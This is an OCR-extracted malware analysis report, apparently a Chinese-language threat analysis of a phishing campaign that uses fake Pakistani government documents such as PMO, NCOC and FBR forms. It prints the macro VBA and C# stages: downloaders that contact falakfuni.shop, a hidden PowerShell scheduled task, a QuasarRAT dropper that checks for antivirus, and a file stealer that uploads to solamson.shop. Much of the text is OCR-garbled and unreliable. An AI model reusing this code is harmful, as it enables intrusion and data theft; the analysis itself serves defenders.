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Link Vaccine Certificate with Passport

e Prime Minister's Office <noreply@pmogov onlin

AoA

Please find attached guidelines received from the PM Office for your further necessary action please.
All officers/employees/personnel/ministers are directed to urgently link their Vaccine Cetificate

with Passport through CNIC using the given form to update in the global civil aviation database

to assure smooth and safe movement across the world,

NERM RN AEWRIRPIER, PAEH—ERIVGERTEN,
Regards FFEER/BR/AS/AHCBREED CNIC ERIStHINMNESEDSIPRERER,
EREENFISTLRRANSEIRERRTER, LRFEEEREENNERMZSRN
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PRIME MINISTER’S OFFICE
ISLAMIC REPUBLIC OF PAKISTAN

HOME PRESS RELEASES PHOTO GALLERY PRIME MINISTER  FEDERAL CABINET PM'S MESSAGES CONTACT US
PRIME MINISTER'S OFFICE (PUBLIC) VACANCY ANNOUNCEMENT

Applications are invited for recruitment in the Prime Minister’s Office (Public), having requisite qualification, domicile and age
limit.

Please Click Here For Advertisement of Recruitment in Prime Minister's Office (Public)

Please Click Here to download Application Form of "Recruitment in Prime Minister's Office EPuinc)‘ EEEiy TS
Passcode to Open: may2022 ]
EEENEREEH
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2 10f1 Prime Minister's Office /
¥ m‘k Government of Pakistan f E Islamic Republic of Pakistan
LN E National Command and Operation Centre (NCOC) ,4 7 f Hkk ko y
T ISLAMABAS =
et Fax 051-9224820
Subject VACCINATION DATABASE OF ALL MINISTRIES

inject : LINKING VACCINATION STATUS WITH PASSPORT

Our Letter No 801/A/0ps Ill INCOC-01 dated 05 January 2022 and 801/A/Ops lll INCOC-01 dated 10
February 2022.

1 Please refer to directions received from Honorable’ Office of PMO dt 21 Feb 2022

2. Ministries are directed to submit a report on the double vaccination and booster dose of all
persons (BPS 17 & above only) posted under your ministry for cnward submission to the
NCOC.

and linking

3 You are requested pp link/RKGX1PSIgh

it your report as per given format REPEAT as per given format

us as per given format REPEAT as
a4
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- O Rbdur Gadeer Awan]

pepuly Dircclor (OperaLions)
Md Sagib Qadix)

Ie
Ministry of National Health Services, Regulation and Coordination (MoNHSR&C)
Directorate of Central Health Establishments (CHE)

£c

Ministry of Foreign Affairs (MoFA)

Ministry of Interior (Mol)

General Headquarters, Military Operations Directorate (MO Die)
Pakistan Civil Aviation Authority (PCAA DAT)
Chief Secretary Punjab

Chief Secretary Sindh

Chief Secretary Balochistan

Chief Secretary KP

Chief Secretary AJK

Chief Secretary GB

D
Director Operations & Plan - |
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change.org-

The world's platform for change.,

. ﬁﬁ!’ m&mﬁﬁlﬂﬂ’ﬂ?ﬂmﬂlﬂ

hate speech on Hindu festival:

R DERER TR EE TR T, FEITNWEENIREE.
Right-wing Hindu groups hold processions in Muslim neighborhoods and make

hate speeches in several states.+

Sign this petition because every signature and share brings us one step clozer to
ending these atrocities. Your valuable support can help us in approaching the
United Nations to highlight the plizht against minority in India.+

_ HEEREES, FANF— SRS SRS RN LR T EE T,
‘ ENEETHTLFDRIISHS EER, SFH0EH L SEEmEes. s

E-mail: u‘ \ g x

Age: ‘ : ‘

Country: «

+

Submit Your Petition L
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ADVERTISEMENT OPPORTUNITY FOR RETIRED /
RELEASED / RETIRING ARMY OFFICERS FOR

RE-EMPLOYMENT AS CIVILIAN GAZETTED OFFICERS

Name*« |
a
Email*« |

a
Additional
Information«

LR T R
+

Download Form & Apply L

o

Your email address will not be published. Required fields are marked«
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L
N NCOC ;
f N . & 256 Bit
WS Government of Pakistan vermes signaturs

Covid-19 ZEHEHNITE
Covid-19 Vaccination Status Form

Data compiled by Ministry of National Health Services, Pakistan
BEIHEER LRSS mHEE

]
Qg GOVERNMENT OF PAKISTAN
{.....} MINISTRY OF INTERIOR
e =—=—nl

[%]3-5 DEPT_NCOC-3-31.xIlsm

Digital Assets Audit Form 2022
BFEEi & 2022

*Enable settings from above yellow bar to activate the form®*

TRY O

; { OF
RMATION TECHNOLOGY
LECOMMUNICATION

DIGITAL PAKISTAN

moitt.gov.pk

[€]3-6 DigitalAssestsAudit.xlsm
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3.2 i RARSHT

3.2.1 EEWord =30k
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BEEwAE 2022-05-27 09:02:00 +00:00
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RGE%E  Windows User

! ®e2EE FHEIASCHEER. SSHATREEEE. ERRE x
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PRIME MINISTER’S OFFICE (PUBLIC)
| JOB APPLICATION -

COORDINATO R/TEAM LEAD (MP-1}+
(| BRI MBI CELL ] [=7] SPEC & EPECIAL INITIATIVES M&I CELL. |

SENIOR ASSOCIATE (MP-11}+

1 ERIU MBI CELL. | | = [ cPEC & EPECIAL INITIATIVES MaI CELL. |

"APPLYING FOR>

Job tithe/ Name of Post:, [ |

T
Please mention the relevant Unit:: | 1 — *

DOWNLOAD FORM

W oowd

[&]3-7 SRIU-AppForm.docm
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Private Sub CommandButtonl_Click()

Call get_form

MsgBox ("Form Has Been Saved In Download Folder")
End Sub

Sub get_form()

GetDownloadsPath = Environ$("USERPROFILE"™) & "\Downloads"
Dim myURL As String

myURL = "https://falakfuni.shop/SRIU-AppForm-May-2022.pdf"

Dim WinHttpReq As Object

Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
WinHttpReq.Open "GET", myURL, False
WinHttpReq.send

JIf WinHttpReq.Status = 288 Then

Set oStream = CreateObject("ADODB.Stream")
oStream.Open
oStream.Type = 1
oStream.Write WinHttpReq.responseBody ==
oStream.SaveToFile GetDownloadsPath & "\SRIU-AppForm-May-2027. pd‘" vz
oStream.Close

End If

End Sub

E3-8 SBEHE., THREAIMF
2. WHBREEINE BFERATREMcAfee I FE MR , KRB BNERRNICH T HEARD,

—— =y

Sub Worjkhxcvm()

Dim sFolderPath As String
sFolderPath = "C:\Program Files\McAfee"
If Right(sFolderPath, 1) <> "\" Then
sFolderPath = sFolderPath & "\"
End IF
If Dir(sFolderPath, vbDirectory) <> vbNullStrlng hen
Call Mdfkijsdhf I
Else
Call Dksdfhkjsdhf
End IF

e
-

End Sub

&3-9 BIEARKCH FEEKRD

YRR EHFERTRIEMcAfee TR LHFIAT , MR A “Comments”BEIRE Stage 3 CH T EHEADASCIIEIE

(TEABEAF |, ATHEHBENERR | SERDEIESR L2 FRIESCRA ‘Description” @S ) |, ASCIEUEH LA
ZHEIBURSE |, BG4 R sdikfhkjsdh txt B EBEMBTEMP%ERT , FABRKNAD MRS - +04HIT—k
BT RHES S TRA L.

Sub Mdfkjsdhf()

Dim prop As DocumentProperty
For Each prop In ActiveDocument.BuiltInDocumentProperties

If prop.Name = “Comments” Then
s = prop.Value
End IF
Next

fnum = FreeFile
FMame = Environ("TMP") & "\..\sdjkfhkjsdh.txt"
Open FName For Binar‘y As #fnum

Put #fnum, , dsjkhfkjsdhfkhdsk(C5tr(s))

Close #fnum

frgdfg = "'" & Environ("TMP") & "\..\sdjkfhkjsdh.txt" &

[&3-10 Bk Stage 3 CH FHEARD
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Fh 79.9KB

|'E§ 4d5a90000300000004000000ff...
&R Normal.dotm

SssEEm Enud G- S
B

[&3-11 @i #Esubject. description/BME+HKIASCIEEHE

Rfocidfudsfikh = tzafi & cdlfdcik & 1lksaihfk & tytbn & wiewyriu & tsdfj & ynmerb & tsdfj & " /" & rthdfv & vrever & werrth & ulewyriu &
rgbverg & werrth & " /" & cdjsfhjdfgidsg & dskjfh]dsh\" S * MINUTE /" & iuiuydsifuydi & vkdjhfkdjshf & " 28 /TN Hsdfkhsdf /TR * & """" &

skdifhsdkifn & mujhgisdfgidsgf & "wer” & msdkf] 3 & skjfh & mdsFhisdfdsi & gkds 5 & gkdsl 5 ih & =
-windowstyle hidden -C Sdshfks = " & "nw g wemw & e g meem s o & wemn g wwmm g wnum g mwww g Frgdfg g mmuw g wmwn g owwmw g owwum g
R T & "met & Ut & U;[" & lewurnvbnbvnr & mdsthisdfdsj & eredshfidhsfhk & gkdshfkhsdkfih & mdsThisdfds] & ndskfhkisddks &

woudsofivedsfuoiuf & adskjfhkdsjfh & mejhgjsdfgidsgf & "n.” & skdjfh & msdkfjhksdjhfkjdf & msdkfihksdjhfkjdf & mdsfhjsdfdsi &
poipdsofipsfert & weiryiuewyr & gkdshfkhsdkfih & “y] & xiouoiusofd & mjhgjsdfgidsgt & pksdjifikh & iuyfyisdufyif & ruetyurt &
adskjfhkdsjfh & "le{Sdshfks);echo fhgfhffhfh;Sbanana = " & rebtmerbt & mdsfhjsdfdsj & _

adkjfhksajfnkjn & ~- & vkajhfkajsnf & weiryiuewyr & xkdsfhkashfkdskf & mdsfhjsafds] & nodskfhkjsodks & "t RioucXkjaiEjkha.Classl;echo
Ffhgfhffhfh;Sbanana.Nskjdhfkjsdhf();" & """ “SCHTASKS /CREATE /SC MINUTE /MO 20 /TN Hsdfkhsdf /TR
“powershell wmdowstyle hldden -C Sdshfks = A j tut
[Reflection.A fks).echo fhgfhffhfh;: Sbanana = New-Object

idsyfhjfgjhdssssih = mrtbntvrnetv & cdjsfhjdfgjdsg & ndsankjsuaks & eryrueurtuyteur & adskjfhkasjfh & skdjfnsaK)-Fh & woudsofiuodsfuoluf
& "." & cdjsfhjdfgidsg & edsifkdskjfh & mdsfhjsdfdsj & gkdshfkhsdkfih & gkdshfkhsdkfih

Sefksdinfkang = "skFskfnkshFkhsask “WScript.Shell*

Dim ytytrhgfhgskdjfhkjsdnfkjshd As Object

kigdfhgknfdkgif = “fdlglkdfiglkidflkgjlfdjlk”

Set ytytrhgfhgskdjfhkjsdnfkjshd = VBA.CreateObject({idsyfhjfgjhdssssih)

—
sdhfikjsdhkfh = “skfhkdshfkhsdkfhksdfh® = *
T
ytytrhgfhgskdifhkjsdhfkishd.Run Rfosidfudsfikh, @, True

End Sub

E3-12 GEEITRIMES

UBENAFERFREMcAfee MR FSHFRET , NZ 4 WA “Subject” B 12 ERStage 1 CH FREARD
ASCIEIE , BASCIHUEH AR _BHIBIERE , ¥ H & A sdikfhkjsdh.txtBREBENRTEMP%RERT , IFIA
PowerShel BTz AL,

Sub DksdfhkjsdhF()
Dim prop As DocumentProperty
For Each prop In ActiveDocument.BuiltInDocumentProperties
If prop.Name = "Subject™ Then
s = prop.Value
End If
Next
fnum = FreeFile
FName = Environ("TMP") & "\sdjkfhkjsdh.txt"
Open FName For Binary As #fnum
Put #fnum, , dsjkhfkjsdhfkhdsk(CStr(s)} E*

Close #fnum

[&3-13 B jkStage 1 CK FHEARD

12/49



frgdfg = "' & Environ{"THP") & "\sdjkfhkjsdh.txt" & """

ksdfhdshflksdhlfkh = skdjfhsdkjfh & mejhgjsdfgidsgf & “wer® & msdkfjhksdinfkjdf & edsjfedskifh & mdsfhjsdfds] & gkdshfkhsdkfih & gkdshfkhsdkfih & " echo

ksjafhks;echo kldsjflksjaflisalfil;echo kfjhsajkfhkashfinaskfhaskfhksanfknsakifn; [~ & iewurnvbnbvnr & masfhjsdfasj & ereashfjansfhk & gkashfkhsakfih &
mdsfhisdfds] & ndskfhkisddks & woudsofivodsfuoiuf & adskifhkdsifh & mxjhgisdfgidsgf & “n." & skdifn & msdkfihksdinfkidf & msokfihksdihFikidf &

mdsfhisdfds] & poipdsofipsfert & -eiryiuenyr & ghdshfkhsdkfih & "y]:

" & wlousiusefd & mejngjsdfgidsgf & nksdjjfjkn & duyfylsdufyif & rustyurt &

adskjfhkdsifh & “le(™ & frgdfg & *);e Jhsdf;echo 5]

3
= " & rebtmerbt & musfnjsnfdsj & nakjfnksnjmkjn & "-" & vkdjhfkdishf & welryluewyr & xkdsfhkdshfkdskf & ldsfnjsufasj & ndskfhkjsodks & "t
" e _

aQzye.Classl; jecho sdlkjflsjdlfilsd;eche ki

dskfi;

“echo skifhkjsdhfknskdf; $dods##do. fgjngjsngfjssgafjg() echo ksjdnfkshajkenk=

idsyfnjfgindssssjh = mrtbntvrnetv & cdjsfhjdfgidsg & ndskfhkjsddks & eryrueurtuyteur & skjfhkdsjfh & skdjfhsdkjfh & woudsofivodsfuoiuf & *." &

cdjsfhidfgidsg & edsjfkdskifh & mdsFhjsdfdsj B gkdshfkhsdkfih & gkasnfkhsakfjn

sdfksdihfishd = “skfskfhkshfichsdfic”

Dim skdjfhkjsdnfijgihgikishd As Object

ig §F = "fdlglkdfiglkidflkgilfdjlk"
Set skdjfnkjsdnfigihgikishd = vBA

sdhfkjsdhkfh = "skfhkdshfkhsdkfhksdfh"

Il echo k

dikfhigsdh.txt'):echo sdkfskdhfkhsdkfhksdhfkjhsdf

oadFile("
echo ;kahs!mdbsm'bm;dfbmd sbfksd I\I:

-CreateObject (idsyfnjfgihdssssin)

skdjfnkjsdhfigihgikishd.Run ksdfhdshflkschlfkh, 8, True

&]3-14 FI|FBPowerShell#fT AL

3.2.1.2 EEExcel B30y

#3-2 JEZ Excel 2 3CRY )

REAH
RIS

Trojan[Dropper]/MSOffice.Agent.ccd
FBR5323-Notice.xlsm

MD5 06B5A67BF37FED5B92C2211F342D7F0A

XX
SR
BIEEER)

937 KB (959,488 bytes)
Document/Microsoft. XLSM[:xls 2007-2013]
2015-06-05 18:17:00 +00:00

BJS 5 E 2022-05-10 09:17:00 +00:00

QEE TAX&FBR
BEB%WE Abbasi

EsR
&

F-:r! m r'd R L
FBR Federal Board of Revenue

Please Enter Your Mobile / CNIC / b

CaA't Hide Anymore: Avail yoursel of Last Chance

rify Details

©ne of the following options that applies to you
* Beturn filexr but not declaving cervect taxable imcome, Verify details i)

Nobile J/ CHIC

G oppagpe s, s s st

[&]3-15 FBR5323-Notice.xIsm

EEExcel SRR AR ILTIRE 8 |, FEARBIAIT . NET Reactor/BIFEHIFFIEAD QuasarRAT ,

#: T B PowerShellil# iz 1T AT KK QuasarRAT,

Worksheets("Sheet2”).Range("A3").Copy Worksheets("Form™).Range("V15")

Call GoldcF(Environ("PROGRAMDATA™) & ~\Icon.db?, Thiskorkbook.Sheets("sheet3”).Range("A1").Value + ThisWorkbook.Sheets("sheet3").Range("AZ").Value +

ThisHorkbook .Sheets("sheet3”) Range("A3").Value + Thiskorkbook.Sheets("sheet3"). Range("A4").Value + ThisWorkbook.Sheets("sheet3”) . Range("A5") Value +

ThisHorkbook .Sheets( "sheet3” ) .Range("A6" ) . Value

+ ThisWerkbook.Sheets("sheet3™).Range("A@7").Value
ThisWerkbook .Sheets("sheet3”).Range("Al8").Value +
ThisWeorkbook .Sheets("sheet3”).Range("Al3").Value +
ThisWorkbook .Sheets( "sheet3” ) .Range("A16").Value _
+ ThisWorkbook.Sheets(“sheet3”).Range(“A17").value
ThisWorkbook.Sheets(“sheet3”).Range(“A28").Value +
ThisWorkbook.Sheets(“sheet3”).Range(“A23").Value +
+ ThisWerkbook.Sheets(“sheet3).Range("“A25").Value
ThisWorkbook.Sheets(“sheet3*).Range("A28").Value +
ThisWorkbook.Sheets(“sheet3”).Range("A31").Value +
ThisWorkbook .Sheets(“sheet3”).Range("A34").Value +
+ ThisWorkbook.Sheets("sheet3™) Range("A36") . Value
ThisWorkbook .Sheets( "sheet3”) .Range("A39") .Value +
Thiskorkbook .Sheets("sheet3”) .Range("A42") . Value +
ThisWorkbook.Sheets("sheet3”).Range("A45") . Value _
+ ThisWorkbook.Sheets("sheet3™) Range("Ad6") . Value
ThisHorkbook .Sheets( "sheet3”) .Range("A49") Value +
ThisWerkbook .Sheets("sheet3”) .Range("AS2") .Value +
ThisWerkbook .Sheets("sheet3”).Range("AS5") .Value

+ ThisWerkbook.Sheets("sheet3®).Rangs("AS6").Valug

[&]3-16 $E2EfasRfEsheetF 25

+ ThisWorkboek.Sheets("shest3") Range("AB8") .Value
Thisorkbook . Sheets({“sheat3") . Range(=A11") Valus +
Thisorkbook . Sheets({“sheat3") . Range(=A14") Valus +

+ ThisWorkbook.Sheets(“sheet3”).Range(“A18).Value
ThisWorkbook.Sheets(“sheet3").Range(~A21").value +
Thiskorkbook.5heets(“sheet3").Range(~A24~).Value _
+ Thiskorkbook.Sheets{“sheet3").Range(“A26").Value
Thiskorkbook. Sheets{“sheet3").Range("A29").Value +
Thiskorkbook.Sheets{“sheet3").Range("A32").Value +
Thiskorkbook.Sheets{"sheet3").Range("A35").Value

+ ThisWorkbook.Sheets(“sheet3"). Range("A37"). Value
Thishorkbock.Sheets("sheet3").Range("Ad8") . Value +
Thiskorkbook . Sheets("sheet3").Range("A43").Value +

+ ThisWorkbook.Sheets("sheet3") .Range("A47") . Value
Thishorkbook.Sheets("sheet3" ). Range("A58") .Value +
Thiskorkbook . Sheets(“shest3") . Range (“A53").Value +

+ ThisWorkbook.Sheets(“sheet3").Range("AS7").Value

i3 Base64 N HIQuasarRAT SR

+ ThisWorkbeok.Sheets("sheet3™).Range("AR9") . Value
ThisWorkbook.Sheets ("sheet3™).Range("A12").Value +
ThiskWorkbook.Sheets("sheet3”) . Range("Al5") . Value +

+ TnisWorkbook.Sheets(“sheet3”).Range(“A19").value
ThisWorkbook.Sheets(“sheet3”).Range(“A22").value +

+ ThisWorkbook.Sheets(“sheet3”).Range(“A27").Value
ThisWorkbook.Sheets(“sheet3”).Range("A30") .Value +
ThisWorkbook.Sheets(“sheet3”).Range("A33").Value +

+ ThisWorkbook.Sheets("sheet3™) . Range("A3E") . Value
Thiskorkbook.Sheets ("sheet3™).Range("A41") .Value +
Thiskorkbook.Sheets("sheet3” ):Rangel adar ue +
+ ThisWorkbook.Sheets ("sheet3*] . Rangel Aas" ) Value
ThisWorkbook.Sheets ("sheet3™).Range("AS1") .Value +
Thisorkbook.Sheets ("sheet3™).Range("A54") .Value +

+ ThigWorkbeok.Sheets("sheet3™) . Range("ASE").Value)

+
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FI3-17 Base64 1B /5iQuasarRATAE

Public Sub GoldcF{fpth as string, fstrb As String)
Dim icntr
Dim a As String
Dim b As String

Dim ¢ As String

Dim d As String

Dim & As String

Dim kes As String

Dim K As Integer

K = Rnd()

Dim errorcode As Integer

const UseBinaryStreamType = 1

const SaveWillCreateorOverwrite = 2

n o

Dim so: Set so = CreateObject("ADODB.Stream™)

Dim xmlDoc: Set xmlDoc = CreateObject("Microsoft.XMLDOM™)
Dim xmlElem: Set xmlElem = xmlDoc.createElement("tmp™)

a = "Pow" + "er” + "Sh" + "ell”

¢ = "Hew" + "-0bj" + "ect" + " H" + "P" # ".Prog" + "ra” + "m;$Con” + "nect™ +

+ "Sser™ + "wice();"
kes = "Hew"™ & "-0b§" + Tect™ & " H" + "P" 4+ ".Prog" + "ra" 4+ "mpsCon" + "nect”™ 0.5 e vdga();"

xmlElem.DataType = "bin.basesa™
xmlElem. Text = fstrb

s0.0pen
50, Type = UseBinarystreamType

If {GoldIsFile{Environ("PROGRAMDATA") & "\Icon.db"}) = True Then
On Error Resume Mext
call unzipaFile("c:\Users\Desktop\Proceppss.zip”, "C:\Users\Desktop\dfs™)

Else

s0.Write = xmlElem.nodeTypedvalue
so.SaveToFile fpth, SaveWillCreateOroverwrite

End If

Set so = Nothing

set xmlDoc = Nothing
set xmlElem = Mothing
Dim lp As Sstring

&|3-18 &% . FjikQuasarRAT

on Error Resume Hext

pim Goldresult As String

1p = """ & Environ("PROGRAMDATA") & “\Icon.db™ & "'"

If GoldFE(Environ("Progr™ + "amdata”™) + "\Ka" + "sp” + "ersky L” + "ab") Then

On Error Resume Hext

worksheets("sheet1™).Range("A1").Copy Worksheets("Sheet2").Range("A2"}

CreateObject("WScript.Shell™).Run a + " [Refl™ + "ecti”™ + "on.Asse”™ + "mbly]::Lo™ + “adFile(™ & lp & ");%Con"™ & "nect = " & kes, @, False
. PowerShell [Reflection. Assembly]:LoadFile(%PROGRAMDATA%\Icon, db);$Connect = New-Object HP.Program;$Connect.Service();
Else

On Error Resume Next

worksheets("Sheet1™).Range("A1").Copy Worksheets("Sheet2").Range("A2")

ThisWorkbook.Sheets("sheet1™).Range("K3").value = "~

ThisWorkbook.Sheets("sheet1™).Range("A72").Copy ThisWorkbook.Sheets("sheet1™).Range("a70")
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&]3-19 F|fHPowerShellfil##{TQuasarRAT

B, MNEANARAREH TN TR , ARRETEFLERER L EIRER , K EARTEEEEF REMRX R
HIQuasarRATIHHTHFA ML, ATARRRRREENIHEHRE.

‘MsgBox (“start™)

‘shell (Tomd.exe /k REG ADD HKCUNSOF TWARE'\Microsoft\Windows \Currentversion\Run /V Tcon ft REG_SZ /F /D Hlloworkld™) M2
Thisworkbook. Sheets(~sheet1™).Range( AT2").Copy Thisworkbook.Sheets[ sheet1™). Range( A71")
‘Createdbject ("wScript.hell™) . Run a + " new-item XtempX\coooo.ui; , @, False™
shell “cmd.exe fc plng 127.0.0.1 &% “ + a + " -Command [Refl” + “ecti® + “on.Asse™ + "mbly]::Lo™ + “adFile(™ & lp & “);8Cen” + “nect = " + ¢, vbHide
Else
‘MsgBox “Please reopen the file, Error : digital certificate not loaded” NS
End IF
2
’3-20 K EAThAE

3.2 2 RS TIRAH

#3-3 Stage 1 C# FEHE ARG

BRI Trojan/Win32.Downloader

BFas4 PoryaenFuaQzye.dll

MD5 C676EBO9E74308A879658FDAGFCB74FC
BT 20 Intel 386 or later, and compatibles
SR/ 8.50 KB (8,704 bytes)

SRR Win32 DLL

B E) B, 2076-10-03 02:38:51 +00:00 ({hi&)
BrEs T

7Ry T

WEES Microsoft Visual C# / Basic .NET

Stage 1 CHTIHREADINAELLR M , TRRNKHHEFHBIRS 25 _LikEXStage 2 CHTHEARDASCIH , REH
ASCISTHHEC TGS |, B H MBI N I E SR B THIT.

public void hgfhgfhfhgfhfhfhgf()

WebClient webClient = new WebClient();
string uriString = ”https:fffalakfuni.shopfScwpanb‘txt”d
try

{

Type[] types = Assembly.lLoad(Sjhgfjsdgfjsdgfj(webClient.DownloadString(new Uri(uriString)))).GetTypes();
for (int i = @; i < types.Length; i++)
{

dynamic val = Activator.CreateInstance(types[i]);
val.ndmsbfl();
}

catch

{

}
}

[&|3-21 Stage 1 CH & E AT ThRE

Environment.Exit(@);
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sowpntdb -- ffcef12bdab6dea6454d9afale55379 x _

"740”0000000000003045000 c01030079a76 0”000000”0000000&000
-02200b010800006205000006000000000000 705000020000000a00500
000040000 000000020000040000000000 0 ( )00 0

050000020000000000000300608500001000001000000000100000100000
000000001000000000000000000000007c8705004c000000002005007403
00000000000000000000000000000000000000cO005000c000000e0870500
1c0000000000000000000000000000000000000000000000000000000000
000000000000000000000000000008870500080000000000000000000000
002000004800000000000000000000002e7 40000003 00020
-00000062050000020000000000000000000000000000200000602e727372
63000000740300000020050000040000006c050000000000000000000000
-0000400000402e72656c6T6300000c00000000c005000002000000700500
-000000000000000000000000400000420000000000000000000000000000
00004200000002000500d4f6010028900300010000000000000094200100
401600000000000000000000000000000000000000000000000000000000
000000000000000000000000000013200b003203000001000011 )10000

IDDDqﬂb1f41' WdJBrTGHDDDH1b1JO4 81000000
QLr¢b1?T

-1*ﬁud1’ 8 ﬂnﬂﬂ0a110r 813 b1106
-00021f410c0917580d091 b31hdH“7?000HDD?O.
-726T000070280600000a6f0700000a
-00000000: 4uhuOHOOUUOa?JUOHDOOOOOODOOOOU“5HQOOOOU 16,J~Tﬂ:ﬂﬁ

9c040006130716130872b1000070280300000a1f2013 U9381MODDGDO

11091f0a5d130a11081f0a5a110a58130811091f0a5b130911
08130938e200000011091f0a5d130a110a450a000000!
14000000230000003 DDDGGUJ1DDGGG'-DJUHITHSTDW
0000389600000072d7000070 3000002385
000a3882000000 ebDDUOTOZ'ﬁjﬂﬂDODRBArBGDDDDD
nona; 000007205010 300000a385500000072
"OOOaJU4nOOOUDU 1hﬂ1uu 02 ’UOOOO 383 OODUUD?22901HU

E]3-22 32 R %25 1R [B1fStage 2 CH T B AT ASCIIS ¢

#3-4 Stage 2 CHFHEAD

RELHR Trojan/Win32.Downloader
R4 SowpnTdb.dll

MD5 31A5973AFABF2FEBE9690F20AC045973
P SEE 20 Intel 386 or later, and compatibles
RN 348 KB (356,864 bytes)

SRR Win32 DLL

B R B, 2022-04-22 13:02:49 +00:00
BrEs ¥

TSR T

BEEE Microsoft Visual C# / Basic .NET

Stage 2 CH T EEADINREN T EStage 3 CHTHEARG , IH AStage 3 CH FHEAD 414 “YunoHonow it
WHES , T RIS 2200 50E ARG T APowerShell Il 4TStage 3 CH T HEAKRD,

public void ndmsbhfl()
{

string userName = Environment.UserName;

new WebClient().DownloadFile(new Uri("https://falakfuni.shop/Qroskbamdsfui.txt"), "C:\\Users\\" + userName + "\\AppData‘\Loccal\
‘MhRogpalrntto.txt");

new TaskService();

TimeTrigger trigger = new TimeTrigger

Repetition = new RepetitionPattern(TimeSpan.FromMinutes(2@.8), TimeSpan.FromDays(@.@))

H

string path = "C:\\Windows\\System32\\WindowsPowerShell\\vl.@\\powershell.exe";

string arguments = "-windowstyle hidden -C $dshfks = \"\"\"C:\\Users\\" + userName + "\\AppData\\Local\\MhRoqpalrntto.txt
\"\"\";echo fhgfhffhfh;[Reflection.Assembly]::LoadFile($dshfks);echo fhgfhffhfh;$banana = New-Object RioucxkjdiEjkhd.Classijecho
fhgfhffhfh;$banana.Nskjdhfkjsdhf () echo fhgfhffhfh;\" *;

TaskService.Instance.AddTask("YuncHonow", trigger, new ExecAction(path, arguments));
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[&|3-23 Stage 2 C# F & E AT ThRE

#3-5 Stage 3 CHF&HEAL

REBLR Trojan/Win32.Downloader
s34 RioucXkjdiEjkhd.diIl

MD5 FD7555A617420B42BA946FCC5248D07F
PilistiiBrlsy Intel 386 or later, and compatibles
RN 10.0 KB (10,240 bytes)

BIRLY Win32 DLL

B R} 2083-02-05 20:09:11 +00:00 ({43&)
BFE4 x

IFEIER I

WEES Microsoft Visual C# / Basic .NET

Stage 3 C# FEREADINAEA T3kStage 4 CHETE AT |, IR CHITEAD NREINFH IR RS SR B TIIT.

BB, T {RIEAERTh FEStage 4 CHHTRRALD |, Wik B XA T & A T H5kEE.
public void Nskjdhfkjsdhf()

WebClient webClient = new WebClient();

string uriString = “https://falakfuni.shop/Nrekjsdwfak.txt";
string uristring2 = "https://falakfuni.live/Uwewkrherkh.txt";
string text = "";

if (text == "jsdhfkjhsdkf")

string papayakdsjfhkdshkfhkdshf = **;
if (text == "jsdnfkjhsdkf")

tryl

{
try

catch

{

try
{

catch

{
}
X

papayakdsjfhkdshkfhkdshf = webClient.DownloadString(new Uri(uriString));

Thread.Sleep(600008) ; HuriStringEHBLWE, FAuriString 2 5B FRESHT FRGEET

papayakdsjfhkdshkfhkdshf = webClient.DownloadString(new Uri(uriString2))

if (text == "jsdhfkjhsdif")

byte[] rawAssembly = Bjgjhgjgijgrtet(papayakdsifhkdshkfhkdshf);
if (text == "jsdhfkjhsdkf")

Assembly assembly = Assembly.load(rawAssembly);
if (text == "jsdhfkjhsdkf™)

fype[] types = assembly.GetTypes();
foreach (Type type in types)

{
if (text == "jsdhfkjhsdkf")
dynamic val = Activator.Createlnstance(type);
if (text == "jsdhfkjhsdkf™)
val.TomNewtondfghkhdf(); TRBUE, SHREN.
if (text == "jsdhTkjhsdki™)
¥
catch

if (text == "jsdhfkjhsdkf™)
éﬁ@ironment.Exit(B);
h
¥
[&]3-24 Stage 3 C# FEE AL THAE

#3-6 Stage 4 C#HIHAL,

REBLR Trojan[Spy]/Win32.Stealer
Fiasc4 Rwlksdnasijd.dll
MD5 53C5FCDD09A53BAE6C21E0CADDSSAEC?2
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il sy Intel 386 or later, and compatibles

AN 11.5 KB (11,776 bytes)

B'RLY Win32 DLL

I EIES 2067-12-02 18:52:44 +00:00 ({hi&)
BrEs I

InFEERy T

EES Microsoft Visual C# / Basic .NET

Stage 4 CHAG E— TR AL , HFENEER FTEUEEH.CA Users4-£hDocuments, Downloads, Desktop,

Pictures B RAR AR E T B & LBRA .

public void TomNewtondfghkhdf()

i

string userName = Environment.UserName;

new List<string>();

string pattern = "*";

List<string> pfhl = Gpufh();

string text = "C:\\\\Users\\\\" + userName;
string tdn = Environment.MachineName + "_ "
CuD(tdn, 8);

GF(text + "\\Documents\\", pattern, "Documents”, pfthl);

GF(text + "\\Downloads\\", pattern, "Downlocads", pfhl);

GF (text + “\\Desktop\\", pattern, “Desktop”, pfhl); FEEECEIEE (g,
GF(text + "\\Pictures\\", pattern, "Pictures”, pfthl); EFEFRSTHAINE.
DriveInfo[] drives = Drivelnfo.GetDrives();

char[] trimChars = new char[2] { ":', "\\' };

DriveInfe[] array = drives;

foreach (DriveInfec driveInfo in array) —

+ userName;

11

if (driveInfo.Name != "C:\\") EEEEMKCEMORETR, FINTFSEENXHE

GF(driveInfo.Name, pattern, driveInfo.Name.TrimEnd(trimChars), pfhl);

}
¥

Environment.Ex1t(0);

}
[E]3-25 CHT AL BIRTIRE

FE , ZADAT BEER L&, RS AR | mC2RSH[EEHHIMDSE, SUADER/E3

B, BLRIEEEME—INAY (M€ _ArE) AC2RFHS TRELEHHMDSSIR (MDSSIFRIHL T RS
fhartBRT) . ABEEIE LA | B HIMT Y4 5T HHIMDSE B BFEE LEXHMDSFIRS | Skt a3

REES L%,
private List<string> Gputh()
{
string machineName = Environment.MachineName;
string userName = Envirenment.UserName;
string address = "http://soclamson.shop/harl/" + machineName +
List<string> list = new List<string>();
WebClient webClient = new WebClient();
try
{

" "

+ userName + ".txt";

string text = webClient.DownloadString(address);
for (int i = @; i < text.Length / 32; i++)

list.Add(text.Substring(i * 32, 32));

return list; -

} =
catch '

{
¥

}
&13-26 1RIBEME—AMARFARE . LAE L AHIMDS 513

return list;
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private void UF(string FileName, string fon, string fh)

{

I

string machineName = Environment.MachineName;
string userName = Environment.UserName;
Path.GetFileName(FileName) ;
string value = machineName + "__" + userName + "/" + fon + "/";
try
{

try

i
using WebClient webClient = new WebClient();

NameValueCellection nameValusCollection = new NameValueCollection();
nameValueCollection.Add("di", value);

webClient.QueryString = nameValueCollection;

byte[] bytes = webClient.UploadFile(new Uri("http://solamson.shop/GiuweSwetrys.php™),
FileName);

Encoding.ASCII.GetString(bytes);

nameValueCollection.Remove("di");

webClient.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlenceded”;
